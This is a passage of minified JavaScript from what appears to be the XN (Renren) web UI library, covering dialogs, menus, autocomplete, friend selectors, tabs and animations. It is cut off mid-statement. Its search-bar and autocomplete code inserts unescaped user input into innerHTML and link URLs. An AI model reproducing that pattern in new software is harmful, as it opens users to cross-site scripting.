c=this.getButton(d.value);if(c&&c._onclickForDialog){c._onclickForDialog.call(this)}if(this._preventHide){this._preventHide=true}else{this.hide()}},_hotKeyEvent:function(){this.hide()},setType:function(c){if(c=="normal"){this.frame.delClass("errorDialog")}else{if(c=="error"){this.frame.addClass("errorDialog")}}return this},setWidth:function(c){if(!c){return this}if(c=="auto"){this.frame.style.width="auto";this.dialogContainer.style.height="";this.dialogContainer.style.width="";this.width=this.frame.offsetWidth}else{this.width=c;this.frame.style.width=c+"px";this.dialogContainer.style.height="100%";this.dialogContainer.style.width="100%"}this.refresh();return this},setHeight:function(c){if(!c){return this}this.hegith=c;this.frame.style.height=c+"px";this.refresh();return this},resizeTo:function(c,d){this.setWidth(c);this.setHeight(d);return this},clear:function(){this.header.setContent("");this.body.setContent("");this.footer.setContent("");this._buttons=[];return this},setTitle:function(c){this.header.setContent(c);return this},setBody:function(c){this.body.setContent(c);return this},remove:function(){XN.util.hotKey.del("27",this._hotKeyEvent);XN.ui.element.remove.call(this);return this},refresh:function(){if(this.visible()){b.show.apply(this,arguments)}else{this.hide()}return this},show:function(){this._clearHideTimer();b.show.apply(this,arguments);return this},hide:function(){this._clearHideTimer();b.hide.apply(this,arguments);XN.dom.enable();return this},_hideTimer:null,_clearHideTimer:function(){if(this._hideTimer){clearTimeout(this._hideTimer);this._hideTimer=null}},autoHide:function(c){var d=this;this._hideTimer=setTimeout(function(){d.hide()},c*1000);return this}})})();XN.ui.panel=XN.ui.dialog;XN.ui.dialog.prototype.setHeader=function(a){if(a&&a!==""){this.header.addChild(a)}else{this.header.innerHTML=""}};XN.ui.dialog.prototype.setFooter=function(a){if(a&&a!==""){this.footer.addChild(a)}else{this.footer.innerHTML=""}};XN.ui.menu=function(f){var d=this;this.config={alignType:"4-1",barOnshowClass:"",tagName:"div",disalbeButtonClickEvent:true,fireOn:"click",keep:0.2,useIframeInIE6:true,effectTime:50};$extend(this.config,f);var c;if(this.getConfig("text")){this.frame=c=$element(this.getConfig("tagName"));c.setContent(this.getConfig("text"))}else{if(this.getConfig("button")){this.frame=c=$(this.getConfig("button"))}else{return false}}this._alignType=this.getConfig("alignType");if(this.getConfig("menu")){$(this.getConfig("menu")).hide();this.menu=new XN.ui.fixPositionElement({id:this.getConfig("menu"),alignType:this._alignType,alignWith:this.getConfig("alignWith")||this.frame,addIframe:this.getConfig("addIframe"),useIframeInIE6:this.getConfig("useIframeInIE6")});this.container=this.menu.frame;this._canAddSubMenu=false}else{var b=$element("div");b.hide();this.menu=new XN.ui.fixPositionElement({id:b,alignType:this._alignType,alignWith:this.getConfig("alignWith")||this.frame,addIframe:this.getConfig("addIframe"),useIframeInIE6:this.getConfig("useIframeInIE6")});this.container=$element("div");this._menu.setContent(this.container)}this.menu.setIndex(10001);XN.event.addEvent(this.menu.frame,"click",function(g){g=g||window.event;d._frameOnClick(g)},false);this.menu.setOffsetX(this.getConfig("offsetX")||0);this.menu.setOffsetY(this.getConfig("offsetY")||0);var a=this.getConfig("event");if(a=="click"){XN.event.addEvent(this.frame,"click",function(g){d._buttonClick(g||window.event)});XN.event.addEvent(document,"click",function(g){d._documentClick(g||window.event)})}else{if(a=="mouseover"){XN.event.addEvent(this.frame,"mouseover",function(g){d._frameMouseOver(g||window.event)});if(this.getConfig("disalbeButtonClickEvent")){XN.event.addEvent(this.frame,"onclick",function(g){XN.event.stop(g||window.event)})}XN.event.addEvent(this.frame,"mouseleave",function(){d._buttonMouseLeave()});XN.event.addEvent(this.menu.frame,"mouseleave",function(){d._menuMouseLeave()});XN.event.addEvent(this.menu.frame,"mouseover",function(){d._mouseOverMenu=true})}else{if(a=="manual"){}}}XN.event.addEvent(window,"resize",function(){d.menu.refresh()});this.hide()};XN.ui.menu.prototype=$extend({},XN.ui.container);$extend(XN.ui.menu.prototype,{isShow:true,menu:null,_alignType:null,_button:null,_canAddSubMenu:true,_delayTimer:null,_mouseOverMenu:false,_mouseOverButton:false,_clearTimer:function(){if(this._delayTimer){clearTimeout(this._delayTimer);this._delayTimer=null}},_buttonClick:function(a){XN.event.stop(a);if(this.isShow){this.hide()}else{this.show()}},_documentClick:function(a){this.hide()},_frameOnClick:function(c){var d=this;var b=XN.event.element(c);var a=b.tagName.toLowerCase();if(a=="a"){return true}if((a=="input"&&(b.type=="radio"||b.type=="checkbox"))||a=="label"){this.isShow=false;setTimeout(function(){d.isShow=true},20);return true}while(b!=this.menu.frame&&b.tagName&&b.tagName.toLowerCase()!="a"){b=b.parentNode}if(b.tagName.toLowerCase()=="a"){return true}XN.event.stop(c)},_frameMouseOver:function(b){var c=this;this._mouseOverButton=true;this._clearTimer();var a=this.getConfig("delay");if(a){this._delayTimer=setTimeout(function(){if(c._mouseOverButton){c.show()}},a*1000)}else{c.show()}XN.event.stop(b)},_buttonMouseLeave:function(){var a=this;this._mouseOverButton=false;this._clearTimer();setTimeout(function(){if(!a._mouseOverMenu){a.hide()}},this.getConfig("effectTime"))},_menuMouseLeave:function(){var a=this;this._mouseOverMenu=false;this._clearTimer();setTimeout(function(){if(!a._mouseOverButton){a.hide()}},this.getConfig("effectTime"))},getConfig:function(a){var b={hoverClass:"barOnshowClass",event:"fireOn",button:"bar",delay:"keep"};if(b[a]){return this.config[a]||this.config[b[a]]}return this.config[a]},show:function(){if(this.isShow){return this}this.menu.show();this.frame.addClass(this.getConfig("hoverClass"));this.onShow();this.isShow=true;return this},setWidth:function(a){this.menu.frame.style.width=a+"px";this.menu.refresh();return this},hide:function(){if(!this.isShow){return this}this.menu.hide();this.frame.delClass(this.getConfig("hoverClass"));this.isShow=false;this.onHide();return this},refresh:function(){if(this.isShow){this.menu.show()}return this},onShow:XN.func.empty,onHide:XN.func.empty});XN.event.enableCustomEvent(XN.ui.menu.prototype);XN.ui.autoComplete=function(b){var c=this;this.config=this.config||{};$extend(this.config,{inputTip:null,searchDelay:0.2,DS:null,enableCache:true,maxCache:10});$extend(this.config,b);if(this.getConfig("enableCache")){this.cache=new XN.util.cache({cacheLength:this.getConfig("maxCache")})}if(this.getConfig("input")){var a=this.input=$(this.getConfig("input"))}else{var a=this.input=$element("input");a.type="text";a.addClass("input-text")}this.frame=a;XN.event.addEvent(a,"focus",function(d){c._startCheck();c.fireEvent("focus")});XN.event.addEvent(a,"blur",function(d){c._endCheck();c.fireEvent("blur")});this.addEvent("focus",function(){var d=this.input.value;if(d==""||d==this.getConfig("inputTip")){this.fireEvent("noinput")}});this.addEvent("blur",function(){this._lastInput=null});XN.event.addEvent(a,"click",function(d){XN.event.stop(d||window.event)});XN.event.addEvent(a,"keydown",function(d){c._userInput=true;d=d||window.event;if(d.keyCode==13){XN.event.stop(d)}c.fireEvent("keydown",d)});a.setAttribute("AutoComplete","off");this.DS=this.getConfig("DS")};XN.ui.autoComplete.prototype=$extend({},XN.ui.element);$extend(XN.ui.autoComplete.prototype,{input:null,cache:null,_userInput:false,_lastInput:null,getConfig:function(a){if(a=="input"){return this.config.input||this.config.id}return this.config[a]},_startCheck:function(){var a=this;this._inputTimer=setInterval(function(){if(a._userInput){a._userInput=false;return}a._checkInput()},this.getConfig("searchDelay")*1000)},_endCheck:function(){clearInterval(this._inputTimer);this._inputTimer=null},_checkInput:function(){var c=this;var b=this.input.value;if(XN.string.isBlank(b)){if(this._lastInput===""){return}this._lastInput="";this.fireEvent("noinput");return}if(b==this._lastInput){return}this._lastInput=b;this.fireEvent("searchbegin");if(this.cache){var a=this.cache.get(b);if(a){this.fireEvent("searchover",a);return}}if(!this.DS){XN.log("no ds");this.fireEvent("NO_DS");return}this.DS.query(b,function(d){if(c.cache){c.cache.add(b,d)}c.fireEvent("searchover",d)})}});XN.event.enableCustomEvent(XN.ui.autoComplete.prototype);(function(){var a={};getCompleteMenu=function(b){return a[b]};XN.ui.autoCompleteMenu=function(d){var f=this;this._MID=XN.util.createObjID();a[this._MID]=this;this.config=this.config||{};$extend(this.config,{ulClassName:"",liClassName:"",liHoverClass:"m-autosug-hover",aClassName:"",noResult:"没有匹配结果",dataLoading:"正在加载数据...",noInput:null,autoSelectFirst:false});XN.ui.autoComplete.call(this,d);var c=this.input;var b=$element("div");b.innerHTML=this.getConfig("wrapper")||this._wrapper();this._menuList=b.firstChild;this._ul=this._menuList.getElementsByTagName("ul")[0];this.menu=new XN.ui.menu({button:c,menu:this._menuList,fireOn:"manual"});this.addEvent("keydown",this._inputOnkeydown);XN.event.addEvent(this._ul,"mousedown",function(g){f._menuOnclick(g||window.event)});XN.event.addEvent(c,"blur",function(){f.menu.hide()});this.menu.hide();this.addEvent("noinput",function(){var g=this.getConfig("noInput");if(!g){this.menu.hide();return}this._ul.innerHTML="<li>"+g+"</li>";this.menu.show()});this.addEvent("NO_DS",function(){var g=this.getConfig("dataLoading");this._ul.innerHTML="<li>"+g+"</li>";this.menu.show()});this.addEvent("searchover",this._buildMenu)};XN.ui.autoCompleteMenu.prototype=$extend({},XN.ui.autoComplete.prototype);$extend(XN.ui.autoCompleteMenu.prototype,{menu:null,_menuList:null,_ul:null,_currentLi:null,_highlightMenuItem:function(b){if(b==this._currentLi){return}var d=this.getConfig("liHoverClass");if(this._currentLi!==null){XN.element.delClass(this._currentLi,d)}XN.element.addClass(b,d);this._currentLi=b;var c=this._currentLi.getAttribute("aid");if(c){this.fireEvent("highlight",this.result[parseInt(c)])}},_inputOnkeydown:function(c){var b;if(c.keyCode==13){if(this.menu.isShow&&this._currentLi){var d=this._currentLi.getAttribute("aid");if(d){this._selectMenuItem(parseInt(d))}}return false}if(c.keyCode==38){if(this._currentLi&&this._currentLi.previousSibling){b=this._currentLi.previousSibling}else{b=this._ul.lastChild}this._highlightMenuItem(b);return false}if(c.keyCode==40){if(this._currentLi&&this._currentLi.nextSibling){b=this._currentLi.nextSibling}else{b=this._ul.firstChild}this._highlightMenuItem(b);return false}return true},_menuOnclick:function(c){var b=XN.event.element(c);while(b&&b.tagName&&b.tagName.toLowerCase()!=="li"){b=b.parentNode}if(!b||b.nodeType!==1||!b.getAttribute("aid")){return false}this._selectMenuItem(parseInt(b.getAttribute("aid")));return false},_menuOnmouseover:function(c){var b=XN.event.element(c);if(b.parentNode==$("dropmenuHolder")){return}while(b&&b.tagName&&b.tagName.toLowerCase()!=="li"){b=b.parentNode}if(!b||b.nodeType!==1||!b.getAttribute("aid")){return false}this._highlightMenuItem(b);return false},_selectMenuItem:function(b){this.menu.hide();this.input.focus();this.fireEvent("select",this.result[b]);this._lastInput=this.input.value},_buildMenu:function(c){var g=this;this.result=c;if(c.length==0){var f=this.getConfig("noResult");if(isFunction(f)){f=f.call(this)}this._ul.innerHTML="<li>"+f+"</li>";this.menu.show();this._currentLi=null;return}var d=[];d.push(this.firstMenuItem());var b=c.length-1;XN.array.each(c,function(j,h){d.push('<li onmouseover="getCompleteMenu('+g._MID+')._highlightMenuItem(this);" aid="'+j+'">'+g.buildMenu(h)+"</li>")});d.push(this.lastMenuItem());this._ul.innerHTML=d.join("");if(this.getConfig("autoSelectFirst")){this._highlightMenuItem(this._ul.firstChild)}this.menu.show()},firstMenuItem:function(){return""},lastMenuItem:function(){return""},buildMenu:function(b){return"<li>"+b.name+"</li>"},setMenuWidth:function(b){this.menu.setWidth(b)}});XN.ui.autoCompleteMenu.prototype._wrapper=function(){return['<div class="m-autosug">','<span class="x1">','<span class="x1a"></span>',"</span>",'<span class="x2">','<span class="x2a"></span>',"</span>",'<div class="m-autosug-minwidth">','<div class="m-autosug-content">',"<ul></ul>","</div>","</div>","</div>"].join("")}})();XN.ui.friendSelector=function(b){var a=this;this.config=this.config||{};$extend(this.config,{getFriendsUrl:"/getfriendsajax.do?s=1",url:"/friendsSelector.do",param:{}});XN.ui.autoCompleteMenu.call(this,b);this.addEvent("select",function(c){this.input.value=c.name;if(this.onSelectOne){this.onSelectOne(c)}});this.buildMenu=function(c){return c.name};this.addEvent("focus",function(){if(this._ready){return}if(this._isLoading){return}this.loadFriends()})};XN.ui.friendSelector.prototype=$extend({},XN.ui.autoCompleteMenu.prototype);$extend(XN.ui.friendSelector.prototype,{_isLoading:false,_ready:false,isReady:function(){return this._ready},isLoading:function(){return this._isLoading},loadFriends:function(a){if(this.isLoading()){return}this._isLoading=true;var c=this;var b={};b.init=true;b.uid=false;b.uhead=false;b.uname=false;b.group=false;b.net=false;b.param=this.getConfig("param");new XN.NET.xmlhttp({useCache:true,url:this.getConfig("url"),method:"get",data:"p="+XN.JSON.build(b),onSuccess:function(d){d=XN.JSON.parse(d.responseText);c._onload(d)}})},_onload:function(a){this.isLoading=false;this._ready=true;this.config.qkey=a.qkey;this.DS=new XN.util.DS_friends({url:this.getConfig("url"),qkey:this.getConfig("qkey"),limit:this.getConfig("limit")})}});XN.ui.friendSelectorSynchronous=function(d,c){function f(h,b,a){if(isObject(h)){h=h.id}if(a.isReady()){try{a[b](h)}catch(g){}}else{a.addEvent("load",function(){try{a[b](h)}catch(j){}});a.loadFriends()}}d.addEvent("select",function(a){f(a,"select",c)});d.addEvent("deselect",function(a){f(a,"deselect",c)});c.addEvent("select",function(a){f(a,"select",d)});c.addEvent("deselect",function(a){f(a,"deselect",d)})};(function(){XN.ui.multiFriendSelector=function(c){var b=this;this._ID=XN.util.createObjID();this.config=this.config||{};$extend(this.config,{inputName:"ids",nameInputName:"names",url:"/friendsSelector.do",initParam:{},param:{},noInput:false,maxNum:-1});$extend(this.config,c);this.frame=$element("div");var d=$element("div");d.hide();document.body.appendChild(d);d.appendChild(this.frame);this.frame.innerHTML=['<div id="'+this.getID("friendsContainer")+'" class="tokenizer friendAutoSelector">','<span class="tokenizer_stretcher">^_^</span>','<span class="tab_stop"><input/></span>','<span id="'+this.getID("inputContainer")+'" class="tokenizer_input"><input id="'+this.getID("input")+'" type="text" /></span>',"</div>",'<div class="float-right" id="'+this.getID("menu")+'"></div>'].join("");this.input=this.getEl("input");this.menuContainer=this.getEl("menu");XN.event.addEvent(this.getEl("friendsContainer"),"click",function(f){b._parseClickEvent(f||window.event)});this.autoComplete=new XN.ui.friendSelector({id:this.input,inputTip:"输入好友姓名...",autoSelectFirst:true,url:this.getConfig("url"),param:this.getConfig("param")});this.autoComplete.loadFriends=function(f){if(this.isLoading()){return}this._isLoading=true;var g={};g.init=true;g.uid=true;g.uhead=false;g.uname=true;g.group=false;g.net=false;$extend(g,b.getConfig("initParam"));g.param=this.getConfig("param");new XN.NET.xmlhttp({useCache:true,url:this.getConfig("url"),method:"get",data:"p="+XN.JSON.build(g),onSuccess:function(h){h=XN.JSON.parse(h.responseText);b._allFriends=h.candidate;b.fireEvent("load");b.autoComplete._onload(h)}})};this.autoComplete.buildMenu=function(f){return"<p>"+f.name+"</p>"};this.autoComplete.setMenuWidth(129);this.autoComplete.addEvent("keydown",function(f){b._onInputKeydown(f)});this.autoComplete.addEvent("select",function(f){XN.log(this.input);this.input.value="";b.selectFriend(f)});if(this.getConfig("noInput")){this.input.hide()}this.fireEvent("init")};var a=XN.ui.multiFriendSelector.prototype=$extend({},XN.ui.element);$extend(a,{isReady:function(){return this.autoComplete.isReady()},isLoading:function(){return this.autoComplete.isLoading()},loadFriends:function(){this.autoComplete.loadFriends()},getUserByID:function(c){c=String(c);var b=null;XN.array.each(this._allFriends,function(f,d){if(String(d.id)==c){b=d;return false}});return b},getConfig:function(b){if(b=="inputName"){return this.config.idInputName||this.config.inputName}return this.config[b]},getID:function(b){return"mfs_"+this._ID+b},getFriendID:function(b){return this.getID("friend_"+b)},getFriendEl:function(b){return $(this.getFriendID(b))},getEl:function(b){return $(this.getID(b))},getFriendsNum:function(){return this.getEl("friendsContainer").getElementsByTagName("a").length},getSelectedFriends:function(){var c=[];var b=XN.array.build(this.getEl("friendsContainer").getElementsByTagName("a"));XN.array.each(b,function(f,d){c.push(d.uid+"")});return c},reset:function(){this.deselectAll()},deselectAll:function(){var b=XN.array.build(this.getEl("friendsContainer").getElementsByTagName("a"));XN.array.each(b,function(d,c){XN.element.remove(c)});this.fireEvent("deselectAll",this.getIds())},selectFriends:function(b){var c=this;XN.array.each(b,function(f,d){c.select(d)})},deselectFriends:function(b){var c=this;XN.array.each(b,function(f,d){c.deselect(d)})},select:function(c){XN.log("mfs select");var b=this.getConfig("maxNum");if(b!==-1){if(this.getFriendsNum()==b){this.fireEvent("overMaxNum",b);return}}if(isString(c)){c={id:c,name:this.getUserByID(c).name}}if(this.getFriendEl(c.id)){return}this.getEl("friendsContainer").insertBefore(this.createFriendHTML(c.id,c.name),this.getEl("inputContainer"));this.fireEvent("select",c.id)},deselect:function(b){if(!this.getFriendEl(b)){return}this.getFriendEl(b).remove();this.fireEvent("deselect",b)},_parseClickEvent:function(c){var b=XN.event.element(c);XN.event.stop(c);if(b&&b.getAttribute("action")){this.deselectFriend(b.getAttribute("uid"))}},createFriendHTML:function(d,c){var b=$element("a");b.id=this.getFriendID(d);b.uid=d;b.href="#nogo";b.className="token";b.tabindex="-1";b.innerHTML=['<span>\n<span>\n<span>\n<span>\n<input type="hidden" value="',d,'" name="',this.getConfig("inputName"),'" />\n','<input type="hidden" value="',c,'" name="',this.getConfig("nameInputName"),'" />\n',c,'<span uid="',d,'" action="x" class="x" onmouseout="this.className=\'x\'" onmouseover="this.className=\'x_hover\'" >\n</span>\n</span>\n</span>\n</span>\n</span>'].join("");return b},_onInputKeydown:function(h){var f=this.getEl("inputContainer"),g=f.previousSibling,b=f.nextSibling,d=this.input,j=this.getEl("friendsContainer");if(h.keyCode==8&&this.input.value==""){if(g){j.removeChild(g);this.deselectFriend(g.aid)}return true}else{if(h.keyCode==37&&this.input.value==""){if(g&&g.tagName.toLowerCase()=="a"){f.parentNode.removeChild(f);j.insertBefore(f,g);setTimeout(function(){d.focus()},0)}return true}else{if(h.keyCode==39&&this.input.value==""){if(b&&b.tagName.toLowerCase()=="a"){f.parentNode.removeChild(f);XN.dom.insertAfter(f,b);setTimeout(function(){d.focus()},0)}return true}}}return false}});XN.event.enableCustomEvent(a);a.deSelectAll=a.deselectAll;a.deSelectFriend=a.deselectFriend=a.deselect;a.selectFriend=a.select;a.getSelectedFriendsID=a.getSelectedFriends;a.getIds=a.getSelectedFriends})();XN.ui.friendSelectorWithMenu=function(b){var a=new XN.ui.friendSelector(b);var c=new XN.ui.friendSelectorMenu({url:a.getConfig("url"),param:a.getConfig("param"),multi:false,alignType:b.alignType,offsetX:b.offsetX,offsetY:b.offsetY});var d=$element("div");d.addChild(a);d.addChild(c);a.frame=d;a.addEvent("focus",function(){c.menu.hide()});c.addEvent("select",function(f){var g=this;setTimeout(function(){g.menu.hide()},30);a.fireEvent("select",this.getUserByID(f))});if(XN.browser.Gecko){c.menu.menu.setOffsetY(1)}return a};XN.ui.multiFriendSelectorWithMenu=function(b){var a=new XN.ui.multiFriendSelector(b);var c=new XN.ui.friendSelectorMenu({url:a.getConfig("url"),param:a.getConfig("param"),multi:true});a.menuContainer.setContent(c);XN.ui.friendSelectorSynchronous(a,c);return a};(function(c){var a=false;var d=XN.event.addEvent;var b=function(f){if(a){XN.log(isString(f)?"ui.tabView:"+f:f)}return f};c.tabView=function(f){this.config={selectedClass:"select",event:"click",alwaysReload:false,mouseOverDelay:0.2};$extend(this.config,f);this.init()};c.tabView.prototype={_tabs:null,_currentTab:null,_idPre:null,_tabIndex:0,init:function(){this._idPre=XN.util.createObjID();this._tabs=[]},getConfig:function(f){if(f=="activeClass"){return this.config.activeClass||this.config.selectedClass}return this.config[f]},_getID:function(f){b("_getID start");b("param:");b(f);if(isString(f)){return b(f)}if(f.id){return b(f.id)}b("do not have id");this._tabIndex++;f.setAttribute("id","tabview_"+this._idPre+"_"+this._tabIndex);return b(f.id)},_getTab:function(j){b("_getTab start");b("param:id");b(j);if(!j){return b(j)}if(j.label){return b(j)}var h=this._getID(j);b("key:"+h);var g=this._tabs;b("all tabs");b(g);for(var f=g.length-1;f>=0;f--){if(g[f].key==h){b("_getTab end");return b(g[f])}}b("_getTab end");return b(null)},getCurrentTab:function(){return this._getTab(this._currentTab)},setCurrentTab:function(h,j){b("setCurrentTab start");var g=this.getCurrentTab();var f=this._getTab(h);b("old current:");b(g);b("now current:");b(f);if(g&&g.key==f.key&&!j){return}if(g){this._deactiveTab(g)}this._activeTab(f);this._setCurrentTab(f);b("setCurrentTab end");this.fireEvent("change",f);return this},reset:function(){var f=this.getCurrentTab();if(f){this._deactiveTab(f)}this._setCurrentTab(null);return this},_activeTab:function(f){b("_activeTab:");b(f);f.getEl("label").addClass(this.getConfig("activeClass"));if(f.content){f.getEl("content").show()}f.onActive(f);b("_activeTab end")},_deactiveTab:function(f){if(f.getEl("label")){f.getEl("label").delClass(this.getConfig("activeClass"))}if(f.content){f.getEl("content").hide()}f.onInactive(f)},_setCurrentTab:function(f){b("_setCurrentTab start");f=this._getTab(f);b("currentTab:");b(f);this._currentTab=f?f.key:null;b("this._currentTab");b(this._currentTab);b("_setCurrentTab end")},addTab:function(f){b("addTab start");b("params:");b(f);var k=this;var h={onActive:XN.func.empty,onClick:XN.func.empty,onInactive:XN.func.empty,onInit:XN.func.empty,getEl:function(m){return $(this[m])},active:false};f.label=this._getID(f.label);b("get label id:"+f.label);f.key=f.key||f.label;b("get key:"+f.key);if(f.content){f.content=this._getID(f.content);b("get content id:"+f.content)}$extend(h,f);this._tabs.push(h);b("all tabs");b(this._tabs);if(h.active&&this._currentTab===null){if(h.content){h.getEl("content").show()}h.getEl("label").addClass(this.getConfig("activeClass"));this._setCurrentTab(h)}else{if(h.content){h.getEl("content").hide()}}var j=this.getConfig("event");if(j=="click"){d(h.getEl("label"),"click",function(m){m=m||window.event;XN.event.stop(m);k._eventHander(m,h.getEl("label"))},false)}else{if(j=="mouseover"){var g=true;var l=null;d(h.getEl("label"),"mouseover",function(n){var m=this;g=true;l=setTimeout(function(){if(!g){return}n=n||window.event;k._eventHander(n,h.getEl("label"))},k.getConfig("mouseOverDelay")*1000)},false);d(h.getEl("label"),"mouseleave",function(m){g=false;if(l){clearTimeout(l)}},false)}}h.onInit(h);b("addTab end");return this},_eventHander:function(h,g){b("on click,el:");b(g);b("get tab form by el:");var f=this._getTab(g);if(this.getConfig("alwaysReload")){this.setCurrentTab(f,true)}else{this.setCurrentTab(f)}f.onClick(h,f)},refresh:function(){this._activeTab(this.getCurrentTab());return this},showTab:function(g,f){this.setCurrentTab(g,f)},hideAll:function(){this.reset()}};XN.event.enableCustomEvent(c.tabView.prototype)})(XN.ui);XN.ui.refreshAll=function(){document.body.style.zoom=1.1;document.body.style.zoom=1};XN.effect={fadeIn:function(a,b){if(a.fadetimer){return}b=b||XN.FUNC.empty;var c=0;a.setOpacity(0);a.style.display="";a.fadetimer=setInterval(function(){XN.Element.setOpacity(a,(c+=0.2));if(c>=1){clearInterval(a.fadetimer);a.fadetimer=null;b(a)}},60)},fadeOut:function(a,b){if(a.fadetimer){return}b=b||XN.FUNC.empty;var c=1;a.setOpacity(1);a.fadetimer=setInterval(function(){XN.Element.setOpacity(a,(c-=0.2));if(c<=0){clearInterval(a.fadetimer);a.fadetimer=null;b(a);a.setOpacity(1)}},60)},gradient:function(c,f,d,a,h){if(c.gradientTimer){return}h=h||XN.FUNC.empty;c.style.backgroundColor="#fff";c.style.backgroundColor="rgb("+f+","+d+","+a+")";c.gradientTimer=setInterval(function(){a+=10;c.style.backgroundColor="rgb("+f+","+d+","+(a>255?255:a)+")";if(a>255){clearInterval(c.gradientTimer);c.gradientTimer=null;h(c)}},60)},slideOpen:function(b){if(b.slidetimer){return}if(!b.slideHeight){var a=b.getStyle("position");b.setStyle("position:absolute;left:-99999px;top:-99999px;");b.show();b.slideHeight=b.offsetHeight;b.hide();b.setStyle("position:"+a+";left:auto;top:auto;")}var f=b.slideHeight,c=0;var d=parseInt(f/10);b.style.height="0px";b.style.display="";b.style.overflow="hidden";b.slidetimer=setInterval(function(){b.style.height=(c+=d)+"px";if(c>=f){clearInterval(b.slidetimer);b.slidetimer=null;b.style.height=f;b.style.overflow=b.slideOverflow}},50)},slideClose:function(a){if(a.slidetimer){return}var d=a.offsetHeight,b=d;a.slideHeight=d;a.slideOverflow=a.getStyle("overflow");a.style.overflow="hidden";var c=parseInt(d/10);a.slidetimer=setInterval(function(){a.style.height=(b-=c)+"px";if(b<=0){clearInterval(a.slidetimer);a.slidetimer=null;a.style.display="none";a.style.height=d;a.style.overflow=a.slideOverflow}},50)},scrollTo:function(f,l,k){if(f.scrolltimer){return}l=l||10;k=k||XN.FUNC.empty;var m=f.realTop();var c=XN.EVENT.winHeight();var j=document.body.scrollHeight;var b=XN.EVENT.scrollTop();var g=null;if(m>b){if(m+f.offsetHeight<c+b){return}f.scrolltimer=setInterval(function(){b+=Math.ceil((m-b)/l)||1;window.scrollTo(0,b);if(b==m){clearInterval(f.scrolltimer);f.scrolltimer=null}},10)}else{f.scrolltimer=setInterval(function(){b+=Math.ceil((m-b)/l)||-1;window.scrollTo(0,b);if(b==m){clearInterval(f.scrolltimer);f.scrolltimer=null}},10)}}};XN.EFFECT=XN.Effect=XN.effect;(function(c){var d={linear:function(g,f,j,h){return j*g/h+f},easeIn:function(g,f,j,h){return j*(g/=h)*g+f},easeOut:function(g,f,j,h){return -j*(g/=h)*(g-2)+f},easeBoth:function(g,f,j,h){if((g/=h/2)<1){return j/2*g*g+f}return -j/2*((--g)*(g-2)-1)+f},easeInStrong:function(g,f,j,h){return j*(g/=h)*g*g*g+f},easeOutStrong:function(g,f,j,h){return -j*((g=g/h-1)*g*g*g-1)+f},easeBothStrong:function(g,f,j,h){if((g/=h/2)<1){return j/2*g*g*g*g+f}return -j/2*((g-=2)*g*g*g-2)+f},elasticIn:function(h,f,m,l,g,k){if(h===0){return f}if((h/=l)==1){return f+m}if(!k){k=l*0.3}if(!g||g<Math.abs(m)){g=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/g)}return -(g*Math.pow(2,10*(h-=1))*Math.sin((h*l-j)*(2*Math.PI)/k))+f},elasticOut:function(h,f,m,l,g,k){if(h===0){return f}if((h/=l)==1){return f+m}if(!k){k=l*0.3}if(!g||g<Math.abs(m)){g=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/g)}return g*Math.pow(2,-10*h)*Math.sin((h*l-j)*(2*Math.PI)/k)+m+f},elasticBoth:function(h,f,m,l,g,k){if(h===0){return f}if((h/=l/2)==2){return f+m}if(!k){k=l*(0.3*1.5)}if(!g||g<Math.abs(m)){g=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/g)}if(h<1){return -0.5*(g*Math.pow(2,10*(h-=1))*Math.sin((h*l-j)*(2*Math.PI)/k))+f}return g*Math.pow(2,-10*(h-=1))*Math.sin((h*l-j)*(2*Math.PI)/k)*0.5+m+f},backIn:function(g,f,k,j,h){if(typeof h=="undefined"){h=1.70158}return k*(g/=j)*g*((h+1)*g-h)+f},backOut:function(g,f,k,j,h){if(typeof h=="undefined"){h=1.70158}return k*((g=g/j-1)*g*((h+1)*g+h)+1)+f},backBoth:function(g,f,k,j,h){if(typeof h=="undefined"){h=1.70158}if((g/=j/2)<1){return k/2*(g*g*(((h*=(1.525))+1)*g-h))+f}return k/2*((g-=2)*g*(((h*=(1.525))+1)*g+h)+2)+f},bounceIn:function(g,f,j,h){return j-d.bounceOut(h-g,0,j,h)+f},bounceOut:function(g,f,j,h){if((g/=h)<(1/2.75)){return j*(7.5625*g*g)+f}else{if(g<(2/2.75)){return j*(7.5625*(g-=(1.5/2.75))*g+0.75)+f}else{if(g<(2.5/2.75)){return j*(7.5625*(g-=(2.25/2.75))*g+0.9375)+f}}}return j*(7.5625*(g-=(2.625/2.75))*g+0.984375)+f},bounceBoth:function(g,f,j,h){if(g<h/2){return d.bounceIn(g*2,0,j,h)*0.5+f}return d.bounceOut(g*2-h,0,j,h)*0.5+j*0.5+f}};var a=function(){b(this.onTweening,this);if(this.current>=this.frames){this.stop();b(this.onComplete,this);this.tweening=false;return}this.current++};var b=function(h,g){var f=Array.prototype.slice.call(arguments);f=f.slice(2);if(typeof h=="function"){try{return h.apply(g||this,f)}catch(j){g.errors=g.errors||[];g.errors.push(j)}}};c.Motion=function(f,g){this.duration=g||1000;this.tween=f||"linear"};c.Motion.getTweens=function(){return d};c.Motion.prototype={init:function(){b(this.onInit,this);this.fps=this.fps||35;this.frames=Math.ceil((this.duration/1000)*this.fps);if(this.frames<1){this.frames=1}var g=("function"==typeof this.tween)?this.tween:d[this.tween]||d.linear;this.equation=function(h,f){return g((this.current/this.frames)*this.duration,h,f-h,this.duration)};this.current=this.tweening=1},start:function(){this.init();b(this.onStart,this);var f=this,g=this.duration/this.frames;this.timer=setInterval(function(){a.call(f)},g)},stop:function(){if(this.timer){clearInterval(this.timer)}this.tweening=false}}})(XN.effect);XN.ui.getHiddenDiv=function(){if(!this._hiddenDiv){this._hiddenDiv=$element("div").hide();document.body.appendChild(this._hiddenDiv)}return this._hiddenDiv};XN.ui.friendSearchBar=function(c){var j=$(c.input);var h=$(c.submit||null);var d=$(c.form);var k=c.tip||"找人...";var g=c.action||function(l){window.location.href="http://"+XN.ENV.domain+"/profile.do?id="+l.id};var b=false;(new XN.FORM.inputHelper(j)).setDefaultValue(k).onEnter(function(l){if(b){return}if(!XN.STRING.isBlank(l.value)){d.submit()}});var f=16;var a=new XN.UI.friendSelector({id:j,noResult:function(){return'搜索"'+this.input.value+'"'},limit:f});a.lastMenuItem=function(){if(this.result.length==f){return'<li><p><a onmousedown="window.location.href=this.href" href="http://friend.'+XN.env.domain+"/myfriendlistx.do?qu="+this.input.value+'">点击查看更多..</a></p></li>'}else{return""}};a.setMenuWidth(j.offsetWidth);a.onSelectOne=function(l){b=true;g(l)};if(h){h.onclick=function(){if(b){return false}var 